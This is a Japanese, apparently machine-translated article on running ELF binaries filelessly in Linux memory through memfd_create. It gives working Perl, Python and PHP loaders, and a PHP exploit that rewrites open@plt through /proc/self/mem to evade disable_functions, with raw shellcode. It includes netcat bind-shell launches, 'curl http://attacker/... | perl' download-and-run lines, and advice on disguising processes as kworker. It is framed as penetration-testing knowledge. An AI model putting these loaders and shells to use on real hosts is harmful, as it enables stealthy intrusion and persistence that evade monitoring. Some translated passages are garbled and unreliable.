記憶の中のエルフ。 Linux RAMでELFを実行する







ファイルフリーのマルウェア配布が人気を集めています。 そのようなプログラムの作業はほとんど痕跡を残さないため、これは驚くことではありません。 この記事では、Windowsメモリでプログラムを実行する手法については触れません。 GNU / Linuxに焦点を当てています。 Linuxは当然、サーバーセグメントを支配し、何百万もの組み込みデバイスで動作し、Webリソースの大部分を提供します。 次に、メモリ内でプログラムを実行する可能性について簡単にレビューし、これが困難な状況でも可能であることを示します。







ファイルを使用しない実行技術は機密性が高く、その使用を検出および追跡することは非常に困難です。 ファイルシステムの整合性制御ツールは、ディスクへの書き込み操作やディスク上のファイルの変更が発生しないため、管理者に警告しません。 アンチウイルスソフトウェア(多くの場合、nixユーザーによって無視されます)は、起動後にプログラムメモリを監視しません。 さらに、多くのGNU / Linuxディストリビューションでは、インストール直後に、さまざまなデバッグユーティリティ、インタープリター、プログラミング言語のコンパイラ、およびそれらのライブラリが利用できます。 これはすべて、秘密のファイルフリープログラム実行のテクニックを使用するための優れた条件を作成します。 しかし、それらの使用の利点に加えて、欠点もあります-これらのプログラムは、ターゲットホストのブラックアウトまたはリブートを生き残りません。 ただし、ホストの実行中はプログラムは機能します。







このような手法は、マルウェアの配布だけでなく、使用すべきです。 プログラムの実行速度が重要な場合は、RAMにアンロードします。 実際、多くのLinuxディストリビューションはRAMで完全に動作するのがすばらしいと感じているため、ファイルを保存せずにハードドライブを操作できます。 情報セキュリティ監査の観点から、プログラムの秘密実行の方法は、ターゲットネットワークの境界内の操作後およびインテリジェンスの段階として非常に役立ちます。 特に、最大機密性が監査条件の1つである場合。

2018年のbarkly.comポータルによると、ウイルス攻撃の35%は既にメモリで実行されている悪意のあるソフトウェアで発生しています。







Windowsの場合、攻撃者は事前にインストールされたPowershellシステムを積極的に使用して、コードをダウンロードし、すぐに実行します。 これらの手法は、Powershell Empire、Powersploit、Metasploit Frameworkなどのフレームワークで実装されているため、特に広く使用されています。







Linuxはどうですか?



ほとんどの場合、ホストにインストールされたLinuxディストリビューションには、ソフトウェアのセットが事前にインストールされています。 原則として、プログラミング言語のインタープリターが利用可能です:Python、Perl、CコンパイラーPHPは付属資料のホスティングサイトにあります。 この条件により、これらの言語を使用してコードを実行できます。







Linuxでは、メモリ内でコードを実行するためのいくつかのよく知られたオプションがあります。

最も簡単な方法は、ファイルシステムに事前にマウントされた共有メモリ領域を使用することです。







実行可能ファイルを/ dev / shmまたは/ run / shmディレクトリに配置することにより、これらのディレクトリはファイルシステムにマウントされたランダムアクセスメモリにすぎないため、メモリで直接実行することができます。 ただし、他のディレクトリと同様にlsで表示できます。 また、原則として、これらのディレクトリはnoexecフラグを使用してマウントされ、これらのディレクトリ内のプログラムの実行はスーパーユーザーのみが使用できます。 したがって、もう少し目立たないようにするには、何か他のものが必要です。







さらに注目すべきは、 memfd_create(2)システムコールです。 このシステムコールはほぼmalloc(3)のように機能しますが、メモリ領域へのポインタではなく、 /proc/PID/fd/



リンクとしてのみファイルシステムに表示される匿名ファイルへのファイル記述子を返します。 execve(2)。

memfd_createシステムコールのマニュアルページの内容(ロシア語)は次のとおりです。







「nameで指定された name



はファイル名として使用され、ディレクトリ内の対応するシンボリックリンクのターゲットとして表示されますmemfd:



。表示名は常にmemfd:



始まり、デバッグのみに使用されます。名前はファイルの動作に影響しません「記述子。したがって、複数のファイルが同じ名前を持つ場合がありますが、何の影響もありません。」







C言語でmemfd_create()



を使用する例:







 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); }
      
      





上記のコードはmemfd



使用し、子プロセスを作成し、その出力を一時ファイルにルーティングし、子プロセスが完了するまで待機し、その出力を一時ファイルから読み取ります。 通常、パイプ「|」は、* nixで1つのプログラムの出力を別のプログラムの入力にリダイレクトするために使用されます。







syscall()



を使用する機能は、perl、pythonなどの解釈言語でも使用できます。次に、考えられるシナリオの1つを検討し、 memfd_create()



を使用して実行可能ファイルをメモリにロードする機能を示します。







Perl



コマンドインジェクションの形式でエントリポイントがあるとします。

ターゲットシステムでシステムコールを行う方法が必要です。

perlでは、 syscall()関数がこれを支援します。

また、ELFを匿名ファイルの内容としてメモリに直接書き込む方法も必要です。

これを行うには、ELFをスクリプトの本文に直接配置し、利用可能なコマンドインジェクションを介してターゲットシステムに転送します。 または、ネットワーク経由で実行可能ファイルをダウンロードすることもできます。

しかし、その前に予約する価値があります。 必要なmemfd_create()



システムコールはバージョン3.17以降でのみ利用可能であるため、ターゲットホスト上のLinuxカーネルバージョンを知る必要があります。







memfd_create()



とexecve()



詳しくmemfd_create()



ましょう







匿名ファイルの場合、定数MFD_CLOEXEC



を使用します。これは、「新しいオープンファイル記述子のclose-on-exec (FD_CLOEXEC)



フラグclose-on-exec (FD_CLOEXEC)



を設定します」。 これは、 execve()



を使用してELFを実行した後、ファイル記述子が自動的に閉じることを意味します







syscall()



関数を使用するため、 syscall



とそのパラメーターを呼び出すには数値が必要です。

それらは/usr/include



またはインターネットで見つけることができます。 システムコール番号は、 __NR_



始まる#define



あり__NR_





この場合、64ビットOSの場合、 memfd_create()



番号は319です。 そして、定数はFD_CLOSEXEC 0x0001U



(つまり、 linux/memfd.h



)です。







これで必要な数値がすべて揃ったmemfd_create(name, MFD_CLOEXEC)



、Cのmemfd_create(name, MFD_CLOEXEC)



類似物をPerlで記述できます。

また、 /memfd:



表示されるファイル名を作成する必要があります/memfd:





[:kworker]



似た名前、または疑いのない別の名前を選択するのが最適です。

たとえば、nameパラメータに空の文字列を渡します。







 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; }
      
      





これで、$ fdに匿名ファイル記述子があり、このファイルにELFを書き込む必要があります。

通常、perlのopen()関数はファイルを開くために使用されますが、 >&=FD



構造を使用して、ファイル名の代わりにこの関数に記述子を渡し、既に開いているファイル記述子をファイルハンドルに変換します。

autoflush[]



も有用です。







 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]);
      
      





これで、匿名ファイルを参照するハンドルができました。







次に、実行可能ファイルを、Perlスクリプトの本体に配置できるデータに変換する必要があります。

これを行うには、次を実行します。







 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
      
      





多くの類似した行があります:







 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
      
      





それらを実行したら、実行可能ファイルをメモリに配置します。 残っているのは、起動することだけです。







フォーク()



オプションでfork()を使用できます。 これはまったく必要ありません。 ただし、ELFを実行してプロセスを強制終了するだけではない場合は、 fork()



を使用する必要があります。

一般に、perlでの子プロセスの作成は次のようになります。







 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } }
      
      





fork()



の有用性は、 setsid(2)で呼び出すことで、親プロセスから子プロセスを分離し、親を終了させることができるという事実にもfork()



ます:







 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   ""
      
      





これで、多くのプロセスでELFを実行できます。







実行()



Execve()は、プログラムを実行できるようにするシステムコールです。 Perlは、前述のシステムコールと同じように機能するExec()関数を介して同様の機能を提供しますが、構文ははるかに単純で便利です。

exec()



2つのものを渡す必要があります。実行するファイル(以前にロードされたELFメモリ)と、渡された引数の1つとしてのプロセス名です。 通常、プロセス名は実行可能ファイルの名前に対応しています。 ただし、プロセスリストに/proc/PID/fd/3



が表示されるため、プロセスを別のものと呼びます。

exec()



の構文exec()



次のとおりです。







 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
      
      





上記の例はNetcatを起動します。 しかし、私たちはバックドアのようなものより少し少ないものを立ち上げたいです。

起動されたプロセスには、 /proc/PID/fd



内の匿名ファイルへのリンクはありませんが、実行中のプロセスのファイルを指すlink /proc/PID/exe



で常にELFを見つけることができます。

そこで、ディスクやファイルシステムに触れることなく、LinuxメモリでELFを起動しました。

たとえば、スクリプトをPerlインタープリターに渡し、その本体でELFを配置して外部Webホスティングに配置することにより、実行可能ファイルをターゲットシステムに迅速かつ便利にダウンロードすることができます。 $ curl http://attacker/evil_elf.pl | perl



$ curl http://attacker/evil_elf.pl | perl









Python



Perlオプションとの類推により、次のことを行う必要があります。









 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    .
      
      





pythonの場合、 syscall



を呼び出すには、ファイルを書き込んで実行し、プロセスを制御する標準モジュールctypesとosが必要です。 すべてはperlバージョンに完全に類似しています。

上記のコードでは、以前に/tmp/



にあったファイルをファイルに書き込みます。 ただし、Webサーバーからファイルをダウンロードすることを妨げるものはありません。







Php



この段階では、すでにperlとpythonを使用できます。 これらの言語の通訳は、多くのオペレーティングシステムにデフォルトでインストールされます。 しかし、最も興味深いのは、いつものように先です。

何らかの理由でperlまたはpythonインタープリターが利用できない場合は、PHPを使用することをお勧めします。 この言語は、Web開発者の間で非常に人気があります。 また、Webアプリケーションでコードを実行する機能が既に見つかっている場合は、PHPインタープリターが私たちに会う可能性が高くなります。







残念ながら、phpにはsyscall



を呼び出すための組み込みメカニズムがありません。

rdotフォーラムのBechedから投稿を見つけました(Thanks Beched!)。現在のプロセスメモリ内のprocfs /proc/self/mem



を介してsystem



へのopen



関数の呼び出しを上書きし、 disable_functions



をバイパスします。

このトリックを使用して、関数をコードに書き換えます。これにより、必要なシステムコールが発生します。

アセンブラーでシェルコードの形式でsyscallをphpインタープリターに渡します。

システムコールは、一連のコマンドを介して渡す必要があります。

PHPスクリプトの作成を始めましょう。 次は多くの魔法です。







まず、必要なパラメーターを示します。







  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ...
      
      





シフトを示します-後でシェルコードを配置するメモリの上限値と下限値:







  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); }
      
      





次は、バイナリファイルを「展開」する機能です。 これを行うには、 bin2hex()バイナリデータのhexdex()関数を逆順で使用して、バイナリデータを10進表現に変換します(保存用)。







 function unp($value) { return hexdec(bin2hex(strrev($value))); }
      
      





次に、 ELFファイルを解析してオフセットを取得します。







 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); }
      
      





さらに、インストールされているバージョンのPHPに関する情報を表示します。







 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n";
      
      





オペレーティングシステムのビット深度とLinuxカーネルのバージョンを確認します。







 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; }
      
      





disable_functions



の制限を回避するために、スクリプトはopen@plt



関数のアドレスをその場で書き換えます。 beched'aコードにいくつかの追加を行い、シェルコードをメモリに配置できるようになりました。







まず、PHPインタープリター自体のバイナリファイル内のシフトを見つける必要があります。このため、 /proc/self/exe



を参照し、上記のparseelf()



関数を使用して実行可能ファイルを解析します。







 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; }
      
      





open()



関数のアドレスを見つけます:







 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb');
      
      





これで、実行可能ファイルを直接ダウンロードできます。

まず、匿名ファイルを作成します。







 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w');
      
      





ロードを匿名ファイルに書き込みます。







 fwrite($fp, $elf);
      
      





ファイル記述子番号を探しています:







 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; }
      
      





次に、スタック上の実行可能ファイルへのパスを書き込みます。







 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack);
      
      





実行する引数は実行可能ファイルに渡されます:







 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n";
      
      





次に、 fork()



呼び出すことにより、ペイロードを実行します。







 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit();
      
      





シェルコード



シェルコードとは通常、メモリに格納された後、通常は別のプログラムのコンテキストで、バッファオーバーフロー攻撃などを使用して実行される一連のバイトを意味します。 この場合、シェルコードはリモートサーバー(実際にはシェル)のコマンドプロンプトを返しませんが、必要なコマンドを実行できます。







必要なバイトシーケンスを取得するには、Cコードを記述してからアセンブラー言語に翻訳するか、アセンブリー言語を最初から記述します。







上記のリストのバイトシーケンスの背後に隠れているものを見てみましょう。







 push 57 pop rax syscall test eax, eax jnz quit
      
      





プログラムの起動はc fork



始まります。 57は、64ビットシステムのシステムコールIDの数値です。 表はここにあります 。







次に、 setsid



(数値識別子112)を呼び出して、子プロセスを親に変換します。







 push 112 pop rax syscall
      
      





次に、別のfork



実行します。







 push 57 pop rax syscall test eax, eax jnz quit
      
      





次に、使い慣れたexecve()



実行します。







 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret
      
      





そして、 exit()



(60)でプロセスを終了します:







 ; exit quit: push 0 pop rdi push 60 pop rax syscall
      
      





したがって、外出先でopen()関数コードを置き換えました。 実行ファイルはメモリに配置され、PHPインタープリターによって実行されました。 システムコールはシェルコードとして表示されます。







Metasploitフレームワーク



上記の手法のコンパイルとして、 MSF用のモジュールを準備しました。







Metasploitに追加するには、モジュールファイルをディレクトリ$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb



にreload_all



してから、フレームワークコンソールでreload_all



コマンドを実行します。

モジュールを使用するには、 use post/linux/manage/download_exec_elf_in_memory



(または、モジュールファイルが置かれているディレクトリに応じて別のパス)を入力します。

使用する前に、必要なオプションを設定する必要があります。 オプションのリストは、 show options



コマンドで表示されshow options



。







ARGS



実行可能ファイルの引数







FILE



実行可能ファイルへのパス。 私たちの場合、これはNetcatです。







NAME



はプロセスの名前です。 彼には何でも電話できます。 たとえば、ステルスのために、これはkworker:1である場合があります。または、デモンストレーションの目的で、たとえばKittyCatのような何かコミック







SESSION



-meterpreterセッション。 このモジュールは、操作後の目的に使用されることが理解されています。







次に、 SRVPORT



とSRVPORT



負荷を持つhttpサーバーが配置されるホストとそのポートをそれぞれSRVPORT



。







VECTOR



メモリ内のプログラムの実行を実現する方法。パラメーターはオプションです。空の場合、スクリプト自体が必要なインタープリターの存在を確立します。 現在、PHP、Python、またはPerlがサポートされています。







exploit



またはrun



コマンドを使用してrun



する









以下のように機能します-目的のセッションを示します。メータープレターまたは通常のリバースシェルのいずれかです。 次に、プロセスのリストで、elf、引数、および目的の名前へのローカルパスを指定します。 開始後、ペイロードをホストするためにローカルWebサーバーが起動され、セッションは「ロッキングチェア」を検索します。curlとwgetは現在サポートされています。 少なくとも1つを見つけた後、必要なVECTOR



パラメーターを指定していない場合は、すべてのインタープリターが検索されます。 さて、成功した場合、コマンドが実行され、Webサーバーからペイロードがダウンロードされ、パイプを介して目的のインタープリターに転送されます。 $ curl http://hacker/payload.pl | perl



$ curl http://hacker/payload.pl | perl









結論の代わりに。



LinuxでファイルなしでELFファイルをダウンロードすることは、侵入テストに役立つテクニックです。 これは非常に静かな方法であり、幅広いアンチウイルス保護ツール、整合性監視システム、およびハードドライブの内容の変化を監視する監視システムに耐えることができます。 これにより、最小限のトレースを残しながら、ターゲットシステムへのアクセスを簡単に維持できます。

この記事では、多くの場合Linuxディストリビューション、ファームウェア、ルーター、モバイルデバイスにデフォルトでインストールされるインタープリター型プログラミング言語を使用しました。 また、このレビューのきっかけとなったこの記事の著者にも感謝したいと思います。








All Articles